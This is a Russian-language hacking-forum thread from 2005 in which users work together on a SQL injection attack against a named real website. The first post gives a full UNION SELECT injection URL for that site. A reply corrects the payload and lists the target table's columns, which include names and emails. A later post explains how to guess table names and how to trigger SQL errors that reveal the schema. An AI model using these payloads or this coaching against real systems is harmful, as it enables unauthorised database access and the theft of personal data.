sql-inj

Discussion in 'PHP' started by Майор, 31 Jul 2005.

  1. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    http://club.germany.ru/cgi-bin/discount/hyperseek.cgi?detail=123+UNION+SELECT+'test1','test2','test3','test4','null','test6','test7','test8','TUT','test10','test11','test12','test13','test14','test15','test16','test17','test18','test19','test20','test21','test22','test22','test23','test24','test25',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*

    Подскажите, чёт у меня не получается, union я так понял работате, немогу найти ни одной таблицы...
    но у меня не получается даже столбец с id вывести из известной таблицы "hyperseek_links" .... в чё моя ощибка ?
     
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    .........FROM hyperseek_links /*
    и всё ok
    колонки: id,name,email
    есть таблица location
     
    #2 ShAnKaR, 31 Jul 2005
    Last edited: 31 Jul 2005
  3. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    558
    Likes Received:
    112
    Reputations:
    146
    спасибо =)
    чёт я стормозил...
    ещё такой вопрос : других способов кроме как угадать имена таблиц и столбцов не существует ?
     
  4. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Анализ сайта. Если известно имя одной таблицы можно попробовать подобрать имя другой с бОльшими шансами на успех. Скажем префикс hyperseek тоже говорит о том что скорее всего он будет и в другой таблице, во всяком случае уже известно что автор любит делать имена таблиц с префиксами.

    Так же иногда можно увидеть имя таблицы в префиксе передаваемой переменной (просто автору скрипта так было удобнее, не знаю почему). Скажем вызывается новость таким способом ?news_id=45. Мало того, что очень часто news_id - то поле в таблице новостей, так еще иногда случается и такое, что news - это имя самой таблицы.

    Зачастую имя таблицы можно увидеть вызвав ошибку SQL запроса даже если SQL-инъекцию провести не удастся (можно вызвать ошибку, однако сделать какой-то человеческий запрос не позволит скрпт, который как-то по кривому рубит передаваемую переменную).